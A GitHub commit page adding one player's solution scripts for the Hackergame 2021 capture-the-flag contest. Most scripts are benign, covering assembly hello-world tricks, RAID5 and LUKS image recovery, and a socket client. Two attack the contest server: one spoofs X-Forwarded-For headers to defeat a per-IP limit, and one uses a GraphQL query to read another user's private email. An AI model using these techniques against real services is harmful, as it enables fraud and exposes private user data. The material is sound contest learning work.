Skip to content

Commit

Permalink
Add Testla's write-up
Browse files Browse the repository at this point in the history
  • Loading branch information
Testla committed Nov 2, 2021
1 parent 0087b60 commit b276b3b
Show file tree
Hide file tree
Showing 24 changed files with 1,190 additions and 0 deletions.
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -99,6 +99,7 @@
| [tl2cents](players/tl2cents/README.md) [博客](https://tl2cents.github.io/2021/10/31/Hackgame2021/) | 总排名第 70 | FLAG 助力大红包,图之上的信息,Easy RSA,马赛克,Minecraft,超 OI 的 Writeup 模拟器(前两问) |
| [EarthC](players/EarthC/) | 总排名第 26 名 | 灯,等灯等灯, 超 OI 的 Writeup 模拟器(部分) |
| [cvhc](players/cvhc/README.md) | 总排名第 13 名 | 阵列恢复大师,马赛克,Amnesia,只读文件系统,minecRaft,Micro World,fzuu,密码生成器,一石二鸟,p😭q |
| [Testla](players/Testla/) | 总排名第 43 名 | 签到、进制十六——参上、去吧!追寻自由的电波、猫咪问答 Pro Max、卖瓜、透明的文件、旅行照片、FLAG 助力大红包、Amnesia - 轻度失忆、图之上的信息、加密的 U 盘、赛博厨房 - Level0, Level1、Co-Program - Co-UnitTest、马赛克、minecRaft、p😭q、超 OI 的 Writeup 模拟器 - 果然还是逆向比较简单 |

## 其他资源

Expand Down
30 changes: 30 additions & 0 deletions players/Testla/08-FLAG 助力大红包/kan.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
import requests
import time


def main() -> None:
d = {
'sessionid': '<Redacted>',
'csrftoken': '<Redacted>',
'session': '<Redacted>',
}
with requests.Session() as s:
s.cookies.update(d)
for first_segment in range(2 ** 8):
ip = f'{first_segment}.0.0.1'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Forwarded-For': ip,
}
r = s.post(
'http://202.38.93.111:10888/invite/<Redacted>',
headers=headers,
data={
'ip': ip,
}
)
print(*filter(lambda l: '地址' in l, r.text.splitlines()))
time.sleep(1.1)

if __name__ == '__main__':
main()
18 changes: 18 additions & 0 deletions players/Testla/09-Amnesia/Amnesia-1.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
#include <stdio.h>

int main(void) {
putchar('H');
putchar('e');
putchar('l');
putchar('l');
putchar('o');
putchar(',');
putchar(' ');
putchar('w');
putchar('o');
putchar('r');
putchar('l');
putchar('d');
putchar('!');
return 0;
}
32 changes: 32 additions & 0 deletions players/Testla/09-Amnesia/array_main.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
const char main[] = {
0x55, // push %ebp
0x89, 0xe5, // mov %esp,%ebp
0x56, // push %esi
0x53, // push %ebx
0xe8, 0x28, 0x00, 0x00, 0x00, // call 11bb <__x86.get_pc_thunk.ax>
0x05, 0x6d, 0x2e, 0x00, 0x00, // add $0x2e6d,%eax
0x8d, 0xb0, 0x2d, 0x00, 0x00, 0x00, // lea 0x2D(%eax),%esi
0xb8, 0x04, 0x00, 0x00, 0x00, // mov $0x4,%eax
0xbb, 0x01, 0x00, 0x00, 0x00, // mov $0x1,%ebx
0x89, 0xf1, // mov %esi,%ecx
0xba, 0x0e, 0x00, 0x00, 0x00, // mov $0xe,%edx
0xcd, 0x80, // int $0x80
0xb8, 0x00, 0x00, 0x00, 0x00, // mov $0x0,%eax
0x90, // nop
0x5b, // pop %ebx
0x5e, // pop %esi
0x5d, // pop %ebp
0xc3, // ret
// 000011bb <__x86.get_pc_thunk.ax>:
0x8b, 0x04, 0x24, // mov (%esp),%eax
0xc3, // ret
0x90, // nop
// "Hello, world\n"
0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x2c, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x21, 0x0a
//0xb8, 0x00, 0x00, 0x00, 0x00, // mov $0x0,%eax
//0xc3, // ret
//0x90, // nop
//0x90, // nop
//0x90, // nop
//0x90, // nop
};
23 changes: 23 additions & 0 deletions players/Testla/09-Amnesia/inline_asm-x86_32.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
const char message[] = "Hello, world!\n";

void main(void) {
asm(
// https://lwn.net/Articles/604515/
// syscall number
// https://elixir.bootlin.com/linux/v3.14/source/arch/x86/syscalls/syscall_32.tbl#L12
"mov $4, %%eax;\n\t"
// fd of stdout
"mov $1, %%ebx;\n\t"
// buffer
"mov %[message], %%ecx;\n\t"
// length
"mov $14, %%edx;\n\t"
// do syscall
"int $0x80;\n\t"
// return 0
"mov $0, %%eax;\n\t"
:
: [message] "r" (message)
: "%eax", "%ebx", "%ecx", "%edx"
);
}
6 changes: 6 additions & 0 deletions players/Testla/09-Amnesia/normal.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
#include <unistd.h>

int main(void) {
//write(0x55, 0xabcd, 0x77);
write(1, "Hello, world!\n", 13);
}
24 changes: 24 additions & 0 deletions players/Testla/09-Amnesia/relative_addressing-x86_64.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
void main() {
__asm__ (
// print Hello World
//"movl $1, %eax;\n" /* 1 is the syscall number for write */
"mov $1, %rax;\n" /* 1 is the syscall number for write */
//"movl $1, %ebx;\n" /* 1 is stdout and is the first argument */
"mov $1, %rdi;\n" /* 1 is stdout and is the first argument */
// "movl $message, %esi;\n" /* load the address of string into the second argument*/
// instead use this to load the address of the string
// as 16 bytes from the current instruction
//"leal 16(%eip), %esi;\n"
"lea 18(%rip), %rsi;\n"
//"movl $13, %edx;\n" /* third argument is the length of the string to print*/
"mov $13, %rdx;\n" /* third argument is the length of the string to print*/
"syscall;\n"
// call exit (so it doesn't try to run the string Hello World
// maybe I could have just used ret instead
"movl $60,%eax;\n"
"xorl %ebx,%ebx; \n"
"syscall;\n"
// Store the Hello World inside the main function
"message: .ascii \"Hello World!\\n\";"
);
}
23 changes: 23 additions & 0 deletions players/Testla/10-图之上的信息/graphql.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
import requests

def main() -> None:
d = {
'sessionid': '<Redacted>',
'csrftoken': '<Redacted>',
'session': '<Redacted>',
}
with requests.Session() as s:
s.cookies.update(d)
r = s.post(
'http://202.38.93.111:15001/graphql',
json={
# 'query': '{ notes(userId: 2) { id\ncontents }}'
'query': '{ user(id: 1) { privateEmail } }'
# 'query': '{ __schema { types { name } } }'
# 'query': '{ __type(name: "GUser") { name,fields { name,type { name,kind } } } }'
}
)
print(r.text)

if __name__ == '__main__':
main()
8 changes: 8 additions & 0 deletions players/Testla/10-图之上的信息/parse_cookies.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
# https://stackoverflow.com/a/32281245
from http.cookies import SimpleCookie as sc
c = sc()
c.load('session=...')
d = {}
for key, morsel in c.items():
d[key] = morsel.value
print(d)
5 changes: 5 additions & 0 deletions players/Testla/12-加密的 U 盘/dump_master_key.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
#!/bin/bash

mapdevice="/dev/mapper/$(sudo kpartx -va day1.img | sed -E 's/.*(loop[0-9]+p[0-9]+).*/\1/g' | head -1)"
sudo cryptsetup luksDump --dump-master-key $mapdevice
sudo kpartx -d $mapdevice
9 changes: 9 additions & 0 deletions players/Testla/12-加密的 U 盘/read_flag.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
#!/bin/bash

mapdevice="/dev/mapper/$(sudo kpartx -va day2.img | sed -E 's/.*(loop[0-9]+p[0-9]+).*/\1/g' | head -1)"
sudo cryptsetup luksOpen --master-key-file mk $mapdevice day2
sudo mount -o ro /dev/mapper/day2 /mnt
cat /mnt/flag.txt
sudo umount /mnt
sudo cryptsetup luksClose day2
sudo kpartx -d $mapdevice
111 changes: 111 additions & 0 deletions players/Testla/19-阵列恢复大师/raid5.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,111 @@
#!/usr/bin/python3

import itertools
import subprocess
import time

Image_files = [
'3D8qN9DH91Q.img',
'3RlmViivyG8.img',
'60kE0MQisyY.img',
'IrYp6co7Gos.img',
'QjTgmgmwXAM.img',
]


def main() -> None:
# Just mount it as readwrite.
# loop_devices = []
# for image_file in Image_files:
# loop_devices.append(
# subprocess.check_output(
# ['sudo', 'losetup', '-f', '--show', image_file])
# .decode().rstrip('\n'))
# print(loop_devices)
# exit()

# ps = list(itertools.permutations(Image_files))
# print(ps)
# print(len(ps))

# for image_file in Image_files:
# with open(image_file, 'rb') as f:
# b = f.read()
# i = 0
# while not b[i]:
# i += 1
# print(image_file, i)
# 3D8qN9DH91Q.img 262144
# 3RlmViivyG8.img 448
# 60kE0MQisyY.img 448
# IrYp6co7Gos.img 263169
# QjTgmgmwXAM.img 262144

pass

# Exclude the parity disk and assemble a raid0 array

# Because both 3RlmViivyG8.img and 60kE0MQisyY.img contains a protective-MBR, I guess one of them is the first disk and the other is parity disk

# first_disk_candidates = [1, 2]
# subsequent_disks = [0, 3, 4]
first_disk_candidates = [1]
# subsequent_disks = [0, 2, 3, 4]
# When chunk size is less or equal to 256, 1 as the first disk will return "probably corrupted filesystem on /dev/mapper/md0p1", while 2 as first disk always return "wrong fs type, bad option, bad superblock on /dev/mapper/md0p1, missing codepage or helper program, or other error."

# chunk_size = 4
chunk_size = 512
while chunk_size <= 2 ** 20:
for first_disk in first_disk_candidates:
# for subsequent_permutation in itertools.permutations(subsequent_disks):
# order = [first_disk, *subsequent_permutation]
for permutation in itertools.permutations(range(5)):
# order = permutation[:4]
order = permutation
print(chunk_size, order)
# For chunk size of RAID5, the default is 512KB, and should be a power of 2 and not less than 4KB.
# subprocess.check_call(['sudo', 'mdadm', '--build', '/dev/md0', f'--chunk={chunk_size}K', '--level=raid0', '--raid-devices=4', *(f'/dev/loop{i}' for i in order)])
# subprocess.check_call(['sudo', 'mdadm', '--create', '/dev/md0', f'--chunk={chunk_size}K', '--level=raid5', '--raid-devices=4', '--spare-devices=1', *(f'/dev/loop{i}' for i in order)])
subprocess.check_call(['sudo', 'mdadm', '--assemble', '--force', '/dev/md0', f'--chunk={chunk_size}K', '--level=raid5', '--raid-devices=4', '--spare-devices=1', *(f'/dev/loop{i}' for i in order)])
output = subprocess.check_output(['sudo', 'kpartx', '-va', '/dev/md0'])

# if len(output) < 2:
# # retry
# time.sleep(1)
# output = subprocess.check_output(['sudo', 'kpartx', '-va', '/dev/md0'])

if len(output) < 2:
print('Failed to read partition')

done = False
if len(output) >= 2:
try:
subprocess.check_call(['sudo', 'mount', '/dev/mapper/md0p1', 'mnt'])
print('Mount succeeded')
while True:
a = input('Continue?')
if a == 'n':
done = True
break
elif a == 'y':
break
subprocess.check_call(['sudo', 'umount', 'mnt'])
except subprocess.CalledProcessError:
pass

subprocess.check_call(['sudo', 'kpartx', '-d', '/dev/md0'])
subprocess.check_call(['sudo', 'mdadm', '--stop', '--scan'])
time.sleep(0.1)

# if len(output) < 2:
# exit(1)

if done:
return
chunk_size *= 2

# subprocess.check_call(['sudo', 'losetup', '-D'])


if __name__ == '__main__':
main()
29 changes: 29 additions & 0 deletions players/Testla/22-Co-Program/co-login.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
import asyncio
import socket
import time

token = '<Redacted>'
server_host = '202.38.93.111'
server_port = 10700


async def main() -> None:
reader, writer = await asyncio.open_connection(server_host, server_port)
writer.write((token + '\n').encode())
print(await reader.readline())
# await writer.drain()
for _ in range(100):
expression = (await reader.readline()).decode().rstrip('\n')
print(expression)
result = int(await reader.readline())
print(result)
# break
writer.write(b'\n')
# await writer.drain()
print((await reader.read()).decode())
writer.close()
await writer.wait_closed()


if __name__ == '__main__':
asyncio.run(main())
Loading

0 comments on commit b276b3b

Please sign in to comment.